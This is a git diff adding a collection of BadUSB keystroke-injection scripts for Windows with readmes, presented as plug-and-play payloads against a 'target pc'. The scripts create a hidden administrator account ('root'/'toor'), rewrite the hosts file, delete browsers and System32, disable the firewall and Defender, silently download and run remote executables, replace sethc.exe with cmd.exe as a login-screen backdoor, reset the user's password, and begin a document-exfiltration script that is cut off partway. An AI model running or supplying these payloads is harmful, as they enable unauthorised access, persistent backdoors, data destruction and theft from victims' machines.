replace "New Name" to any name you want right here: "STRING Rename-LocalUser -Name $User -NewName "New Name"" + + + + +## Features + +- open powershell +- change windows username + + + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/Create_New_Windows_Admin/Create_New_Windows_Admin.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/Create_New_Windows_Admin/Create_New_Windows_Admin.txt new file mode 100644 index 0000000..e670366 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/Create_New_Windows_Admin/Create_New_Windows_Admin.txt @@ -0,0 +1,19 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Create a new Windows-User with Admin perms. +REM Version: 1.0 +REM Category: Execution +DELAY 750 +WINDOWS d +DELAY 1500 +WINDOWS r +DELAY 1500 +STRING powershell Start-Process powershell -Verb runAs +ENTER +DELAY 560 +LEFTARROW +ENTER +DELAY 560 +ALT y +DELAY 300 +STRING Net User root toor /ADD;Net LocalGroup Administrators root /ADD;Net LocalGroup Administrator root /ADD;Net LocalGroup Administratoren root /ADD;reg add 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon\SpecialAccounts\UserList' /v root /t REG_DWORD /d 0 /f; exit +ENTER \ No newline at end of file diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/Create_New_Windows_Admin/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/Create_New_Windows_Admin/readme.md new file mode 100644 index 0000000..2788680 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/Create_New_Windows_Admin/readme.md @@ -0,0 +1,45 @@ + +# Create_New_Windows_Admin + +This script creates a new windows admin user on the target pc. + + + + +## How to use? + +This script is plug and play. After the new user is created you need to use the username "root" and the password "toor" to login. + + + + +## Features + +- open powershell +- create new admin user +- create name "root" +- create password "toor" + + + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/DNS_Cache_Poison/DNS_Cache_Poison.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/DNS_Cache_Poison/DNS_Cache_Poison.txt new file mode 100644 index 0000000..11e5007 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/DNS_Cache_Poison/DNS_Cache_Poison.txt @@ -0,0 +1,19 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Poisons the DNS Cache. (https://www.cloudflare.com/learning/dns/dns-cache-poisoning/) +REM Version: 1.0 +REM Category: Execution +DELAY 750 +WINDOWS d +DELAY 750 +WINDOWS r +DELAY 800 +STRING powershell Start-Process powershell -Verb runAs +ENTER +DELAY 750 +LEFTARROW +ENTER +DELAY 870 +ALT y +DELAY 790 +STRING $redirectionAddress="IP ADRESS HERE";$redirectedSite="URL HERE";$hosts1 = $redirectionAddress + ' ' + $redirectedSite + ([Environment]::NewLine);$hosts2 = $redirectionAddress + ' www.' + $redirectedSite;$hoststotal = $hosts1 + $hosts2;[io.file]::writealltext("C:\WINDOWS\SYSTEM32\DRIVERS\ETC\HOSTS", $hoststotal); exit +ENTER \ No newline at end of file diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/DNS_Cache_Poison/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/DNS_Cache_Poison/readme.md new file mode 100644 index 0000000..960acbd --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/DNS_Cache_Poison/readme.md @@ -0,0 +1,46 @@ + +# DNS_Cache_Poison + +This script modifies the "hosts" file on a Windows operating system. You can change ip adresses of resolved domain names to open facebook.com instead of google.com when you search it for example. + + + +## How to use? + +This script is not plug and play. You will have to do the following changes: + +- change rediraction adress "$redirectionAddress="IP ADRESS HERE"" +- change rediraction url "$redirectedSite="URL HERE"" + + + + +## Features + +- open powershell +- change content of "hosts" file + + + + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/Del_Browsers/del_browsers.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/Del_Browsers/del_browsers.txt new file mode 100644 index 0000000..07bd821 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/Del_Browsers/del_browsers.txt @@ -0,0 +1,21 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Delete Microsoft Edge, Chrome, Opera and Firefox from the target pc. +REM Version: 1.0 +REM Category: Execution +DELAY 800 +WINDOWS d +DELAY 800 +WINDOWS r +DELAY 800 +STRING powershell Start-Process powershell -Verb runAs +ENTER +DELAY 800 +LEFTARROW +ENTER +DELAY 800 +STRING Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Where-Object {($_.DisplayName -like "Microsoft Edge") -or ($_.DisplayName -like "Mozilla Firefox") -or ($_.DisplayName -like "Google Chrome") -or ($_.DisplayName -like "Opera*")} | ForEach-Object {Uninstall-package $_.PSChildName -Verbose} +DELAY 200 +ENTER +DELAY 1200 +STRING exit +ENTER \ No newline at end of file diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/Del_Browsers/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/Del_Browsers/readme.md new file mode 100644 index 0000000..f174eb7 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/Del_Browsers/readme.md @@ -0,0 +1,43 @@ + +# Delete Browsers + +This script deletes these browsers: Chrome, Edge, Opera and Firefox + + + +## How to use? + +This script is plug and play. Just plug the Flipper in and run the script. + + + + +## Features + +- open powershell +- delete browsers + + + + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/Delete32/32_wants_the_D.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/Delete32/32_wants_the_D.txt new file mode 100644 index 0000000..2d2a9d0 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/Delete32/32_wants_the_D.txt @@ -0,0 +1,17 @@ +REM Title:32 wants the D +REM Author: FalsePhilosopher +REM Target: Win, tested on 10 +REM Props: Hak5, my friends and memes +REM Version: 1.0 +REM Category: Prank +REM D as in DELETE! Deletes System32. +DELAY 500 +GUI r +DELAY 500 +STRING cmd +CTRL-SHIFT ENTER +DELAY 2000 +ALT y +DELAY 1500 +STRING takeown /f * /r /a /d y && icacls * /inheritance:r /grant:r administrators:(F) /t & del /f /q * +ENTER diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/Delete32/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/Delete32/readme.md new file mode 100644 index 0000000..4b5738c --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/Delete32/readme.md @@ -0,0 +1,46 @@ +# Original repo +https://github.com/FalsePhilosopher/badusb/tree/main/destructive/Win/Delete32 + +# 32 Wants the D + +This script deletes the system 32 folder. Be careful! + + + + +## How to use? + +This script is plug and play. I am not responsible for any damage. + + + + +## Features + +- open powershell +- delete system 32 + + + + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/DisableFirewall/DisableFirewall.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/DisableFirewall/DisableFirewall.txt new file mode 100644 index 0000000..3d971c1 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/DisableFirewall/DisableFirewall.txt @@ -0,0 +1,19 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Disables the Windows-Firewall. +REM Version: 1.0 +REM Category: Execution +DELAY 750 +WINDOWS d +DELAY 850 +WINDOWS r +DELAY 900 +STRING powershell Start-Process powershell -Verb runAs +ENTER +DELAY 750 +LEFTARROW +ENTER +DELAY 900 +ALT y +DELAY 900 +STRING netsh advfirewall set allprofiles state off; exit +ENTER \ No newline at end of file diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/DisableFirewall/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/DisableFirewall/readme.md new file mode 100644 index 0000000..64ac587 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/DisableFirewall/readme.md @@ -0,0 +1,43 @@ + +# DisableFirewall + +This script disables the windows firewall. + + + +## How to use? + +This script is plug and play. Just plug the Flipper in and run the script. + + + + +## Features + +- open powershell +- disable windows firewall + + + + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/Disable_WinDefender/Disable_WinDefender.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/Disable_WinDefender/Disable_WinDefender.txt new file mode 100644 index 0000000..2f5c0cf --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/Disable_WinDefender/Disable_WinDefender.txt @@ -0,0 +1,41 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Disables Windows Defender. +REM Version: 1.0 +REM Category: Execution +DELAY 1500 +CTRL ESC +DELAY 750 +STRING windows security +DELAY 250 +ENTER +DELAY 1000 +ENTER +DELAY 500 +TAB +DELAY 100 +TAB +DELAY 100 +TAB +DELAY 100 +TAB +DELAY 100 +ENTER +DELAY 500 +SPACE +DELAY 1000 +ALT y +DELAY 1000 +ALT F4 +DELAY 500 +GUI r +DELAY 500 +STRING powershell +CTRL-SHIFT ENTER +DELAY 1000 +ALT y +DELAY 1000 +STRING Add-MpPreference -ExclusionPath “C:” +ENTER +DELAY 2000 +STRING EXIT +ENTER diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/Disable_WinDefender/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/Disable_WinDefender/readme.md new file mode 100644 index 0000000..98e29b9 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/Disable_WinDefender/readme.md @@ -0,0 +1,43 @@ + +# Disable_WinDefender + +This script disables the windows defender until the pc is restarted. + + + +## How to use? + +This script is plug and play. + + + + +## Features + +- open powershell +- disable windows defender + + + + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/DownloadAnyEXE/DownloadAnyEXE.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/DownloadAnyEXE/DownloadAnyEXE.txt new file mode 100644 index 0000000..e2c817f --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/DownloadAnyEXE/DownloadAnyEXE.txt @@ -0,0 +1,19 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Downloads an .exe file from the URL and runs it on the target pc. +REM Version: 1.0 +REM Category: Execution +DELAY 750 +WINDOWS d +DELAY 950 +WINDOWS r +DELAY 650 +STRING powershell Start-Process powershell -Verb runAs +ENTER +DELAY 750 +LEFTARROW +ENTER +DELAY 850 +ALT y +DELAY 1200 +STRING $url = "URL TO EXE"; $output = "C:\windows\41281687.exe"; Invoke-WebRequest -Uri $url -OutFile $output; Start-Process -FilePath "C:\windows\41281687.exe"; exit +ENTER \ No newline at end of file diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/DownloadAnyEXE/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/DownloadAnyEXE/readme.md new file mode 100644 index 0000000..07b0b7c --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/DownloadAnyEXE/readme.md @@ -0,0 +1,45 @@ + +# DownloadAnyEXE + +This script downloads an exe from an url that you will have to provide, then it executes the exe file. + + + +## How to use? + +This script is not plug and play. You will have to do the following changes: + +- change url for the .exe file "$url = "URL TO EXE"" + + + +## Features + +- open powershell +- download .exe from url +- execute downloaded .exe + + + + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/Invisible_DownExec/Invisible_DownExec.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/Invisible_DownExec/Invisible_DownExec.txt new file mode 100644 index 0000000..1eb2d3b --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/Invisible_DownExec/Invisible_DownExec.txt @@ -0,0 +1,17 @@ +REM Author: hell0 +REM Description: Downloads an .exe file from the URL and runs it on the target pc. +REM Version: 1.0 +REM Category: Execution +REM Target: All Windows +DELAY 500 +GUI d +DELAY 500 +GUI r +DELAY 500 +STRING powershell.exe +ENTER +DELAY 2000 +STRING Start-Process -FilePath "powershell" -ArgumentList "/c cd $Env:temp;Invoke-WebRequest -Uri 'https://yoursite.com/your_executable.exe' -OutFile 'your_executable.exe'; Start-Process -FilePath '.\your_executable.exe'; exit" -WindowStyle Hidden; exit +ENTER +DELAY 500 +GUI d diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/Invisible_DownExec/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/Invisible_DownExec/readme.md new file mode 100644 index 0000000..d88a8bd --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/Invisible_DownExec/readme.md @@ -0,0 +1,45 @@ + +# Invisible_DownExec + +This script invisibly downloads an exe from an url that you will have to provide, then it executes the exe file. + + + +## How to use? + +This script is not plug and play. You will have to do the following changes: + +- change url for the .exe file "-Uri 'https://yoursite.com/your_executable.exe'" +- change name of the .exe file "-OutFile 'your_executable.exe'" + + +## Features + +- open powershell invisble +- download .exe from url +- execute downloaded .exe + + + + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/Invisible_DownExec_Zip_Extract/Invisible_DownExec_Zip_Extract.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/Invisible_DownExec_Zip_Extract/Invisible_DownExec_Zip_Extract.txt new file mode 100644 index 0000000..f1ecb81 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/Invisible_DownExec_Zip_Extract/Invisible_DownExec_Zip_Extract.txt @@ -0,0 +1,17 @@ +REM Author: hell0 +REM Description: Downloads an .zip file from the URL, extract and runs it on the target pc. +REM Version: 1.0 +REM Category: Execution +REM Target: All Windows +DELAY 500 +GUI d +DELAY 500 +GUI r +DELAY 500 +STRING powershell.exe +ENTER +DELAY 2000 +STRING Start-Process -FilePath "powershell" -ArgumentList "/c cd $Env:temp;Invoke-WebRequest -Uri 'https://yoursite.com/zipfile.jpg' -OutFile 'zipfile.zip'; Expand-Archive zipfile.zip; Start-Process -FilePath '.\zipfile\your_executable.exe'; exit" -WindowStyle Hidden; exit +ENTER +DELAY 500 +GUI d diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/Invisible_DownExec_Zip_Extract/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/Invisible_DownExec_Zip_Extract/readme.md new file mode 100644 index 0000000..2d502df --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/Invisible_DownExec_Zip_Extract/readme.md @@ -0,0 +1,47 @@ + +# Invisible_DownExec_Zip_Extract + +This script invisibly downloads an .zip file from the URL, extracts and runs it on the target pc. + + + +## How to use? + +This script is not plug and play. You will have to do the following changes: + +- change url for the .zip file "-Uri 'https://yoursite.com/zipfile.jpg'" +- change name of the .zip file "-OutFile 'zipfile.zip'" +- change path of the .exe in the extracted folder "-FilePath '.\zipfile\your_executable.exe'" + + +## Features + +- open powershell invisble +- download .zip from url +- extract .zip file +- run exe from .zip file + + + + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/OpenAnyPort/OpenAnyPort.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/OpenAnyPort/OpenAnyPort.txt new file mode 100644 index 0000000..f1558cc --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/OpenAnyPort/OpenAnyPort.txt @@ -0,0 +1,19 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Open any TCP or UDP Port on the target PC. +REM Version: 1.0 +REM Category: Execution +DELAY 750 +WINDOWS d +DELAY 850 +WINDOWS r +DELAY 850 +STRING powershell Start-Process powershell -Verb runAs +ENTER +DELAY 800 +LEFTARROW +ENTER +DELAY 900 +ALT y +DELAY 900 +STRING netsh advfirewall firewall add rule name=Firewall entry name dir=in action=allow protocol=TCP or UDP localport=Port Number; exit +ENTER \ No newline at end of file diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/OpenAnyPort/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/OpenAnyPort/readme.md new file mode 100644 index 0000000..1e0cbcb --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/OpenAnyPort/readme.md @@ -0,0 +1,46 @@ + +# OpenAnyPort + +This script adds a firewall rule to the Windows Advanced Firewall that allows incoming traffic over TCP or UDP on a specific port number. + + + +## How to use? + +This script is not plug and play. You will have to do the following changes: + +- choose protocol "protocol=TCP or UDP" +- change localport "localport=Port Number" +- choose entry name "name=Firewall entry name" + + +## Features + +- open powershell +- create new entry +- allow port to receive traffic + + + + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/RemoveWindowsUpdate/RemoveWindowsUpdate.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/RemoveWindowsUpdate/RemoveWindowsUpdate.txt new file mode 100644 index 0000000..04ae6ec --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/RemoveWindowsUpdate/RemoveWindowsUpdate.txt @@ -0,0 +1,21 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Remove any Windows Update. Please put in the update number you want to remove. Example: KB27475 +REM Version: 1.0 +REM Category: Execution +DELAY 750 +WINDOWS d +DELAY 1500 +WINDOWS r +DELAY 1500 +STRING powershell Start-Process powershell -Verb runAs +ENTER +DELAY 750 +LEFTARROW +ENTER +DELAY 1500 +ALT y +DELAY 1500 +GUI UP +DELAY 1500 +STRING $input="UPDATE NUMBER";$input = $input.Replace('KB', '');$cmdString = 'wusa /quiet /norestart /uninstall /kb:' + $input;Invoke-Expression -Command $cmdString; exit +ENTER diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/RemoveWindowsUpdate/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/RemoveWindowsUpdate/readme.md new file mode 100644 index 0000000..86f8d43 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/RemoveWindowsUpdate/readme.md @@ -0,0 +1,44 @@ + +# RemoveWindowsUpdate + +This script uninstalls a Windows update that has been previously installed on the system. + + + +## How to use? + +This script is not plug and play. You will have to do the following changes: + +- change update number "$input="UPDATE NUMBER"" + + +## Features + +- open powershell +- find update by number +- uninstall update + + + + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/StartWifiAccessPoint/StartWifiAccessPoint.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/StartWifiAccessPoint/StartWifiAccessPoint.txt new file mode 100644 index 0000000..8aeb40f --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/StartWifiAccessPoint/StartWifiAccessPoint.txt @@ -0,0 +1,21 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Connect to a Wifi (example Evil Twin) to sniff packets or what you wanna do. +REM Version: 1.0 +REM Category: Execution +DELAY 750 +WINDOWS d +DELAY 1500 +WINDOWS r +DELAY 1500 +STRING powershell Start-Process powershell -Verb runAs +ENTER +DELAY 750 +LEFTARROW +ENTER +DELAY 1200 +ALT y +DELAY 1200 +GUI UP +DELAY 1200 +STRING netsh wlan set hostednetwork ssid=WLAN NAME key=PASSWORD;netsh wlan start hostednetwork; exit +ENTER diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/StartWifiAccessPoint/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/StartWifiAccessPoint/readme.md new file mode 100644 index 0000000..58b39bc --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/StartWifiAccessPoint/readme.md @@ -0,0 +1,44 @@ + +# StartWifiAccessPoint + +This script sets up a hosted wireless network on a computer running Windows. + + +## How to use? + +This script is not plug and play. You will have to do the following changes: + +- choose name of wifi "ssid=WLAN NAME" +- choose password of the wifi "key=PASSWORD" + + +## Features + +- open powershell +- create new wifi by ssid +- set password for wifi + + + + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/StickyKeysSWAP/StickyKeysSWAP.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/StickyKeysSWAP/StickyKeysSWAP.txt new file mode 100644 index 0000000..2f059df --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/StickyKeysSWAP/StickyKeysSWAP.txt @@ -0,0 +1,21 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Switch cmd.exe with sethc.exe, allowing to get access to target pc without knowing the pin. +REM Version: 1.0 +REM Category: Execution +DELAY 750 +WINDOWS d +DELAY 1500 +WINDOWS r +DELAY 1500 +STRING powershell Start-Process powershell -Verb runAs +ENTER +DELAY 750 +LEFTARROW +ENTER +DELAY 1500 +ALT y +DELAY 1500 +GUI UP +DELAY 1500 +STRING copy c:\windows\system32\sethc.exe c:\;$acl = Get-Acl c:\windows\system32\sethc.exe;$AccessRule1 = New-Object System.Security.AccessControl.FileSystemAccessRule("Jeder","FullControl","Allow");$AccessRule2 = New-Object System.Security.AccessControl.FileSystemAccessRule("Everyone","FullControl","Allow");$acl.SetAccessRule($AccessRule1);$acl | Set-Acl c:\windows\system32\sethc.exe;$acl.SetAccessRule($AccessRule2);$acl | Set-Acl c:\windows\system32\sethc.exe;Copy-Item -Path c:\windows\system32\cmd.exe -Destination c:\windows\system32\sethc.exe -Recurse -force; exit +ENTER diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/StickyKeysSWAP/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/StickyKeysSWAP/readme.md new file mode 100644 index 0000000..f752991 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/StickyKeysSWAP/readme.md @@ -0,0 +1,37 @@ + +# StickyKeysSWAP + +This script modifies the system file "sethc.exe" on a computer running Windows by adding full control access rules for "Everyone", replacing the file with the "cmd.exe" file, and setting the access control list of the file to the modified access control list. + +## How to use? + +This script is plug and play. Just plug in the Flipper and run the script. + + +## Features + +- open powershell +- replace cmd.exe + + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/setWinPass/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/setWinPass/readme.md new file mode 100644 index 0000000..e197445 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/setWinPass/readme.md @@ -0,0 +1,43 @@ + +# setWinPass + +This script sets the password for the current user on windows. + + +## How to use? + +This script is not plug and play. You will have to do the following changes: + +- change password to anything you like "$NewPassword = ConvertTo-SecureString "PASSWORD HERE"" + + +## Features + +- open powershell +- find current username +- set new password for current user + + + + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/setWinPass/setWinPass.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/setWinPass/setWinPass.txt new file mode 100644 index 0000000..a024c32 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/setWinPass/setWinPass.txt @@ -0,0 +1,30 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Change Widnows 10 user password. +REM Version: 1.0 +REM Category: Execution +DELAY 750 +WINDOWS d +DELAY 1500 +WINDOWS r +DELAY 1500 +STRING powershell Start-Process powershell -Verb runAs +ENTER +DELAY 560 +LEFTARROW +DELAY 500 +ENTER +DELAY 560 +STRING $User = ([Environment]::UserName) +DELAY 200 +ENTER +DELAY 500 +STRING $NewPassword = ConvertTo-SecureString "PASSWORD HERE" -AsPlainText -Force +DELAY 300 +ENTER +DELAY 500 +STRING Set-LocalUser -Name $User -Password $NewPassword +DELAY 300 +ENTER +DELAY 600 +STRING exit +ENTER diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/Document_Exfil/Exfiltrate_Documents.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/Document_Exfil/Exfiltrate_Documents.txt new file mode 100644 index 0000000..7e68126 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Exfiltration/Document_Exfil/Exfiltrate_Documents.txt @@ -0,0 +1,114 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Exfiltrate documents and upload them to a ftp server. +REM Version: 1.0 +REM Category: Exfiltration +DELAY 800 +GUI r +DELAY 1000 +STRING powershell Start-Process notepad -Verb runAs +ENTER +DELAY 800 +ALT y +DELAY 800 +ENTER +ALT SPACE +DELAY 1000 +STRING m +DELAY 1000 +DOWNARROW +REPEAT 100 +ENTER +STRING $folderDateTime = (get-date).ToString('d-M-y HHmmss') +ENTER +STRING $userDir = (Get-ChildItem env:\userprofile).value + '\Ducky 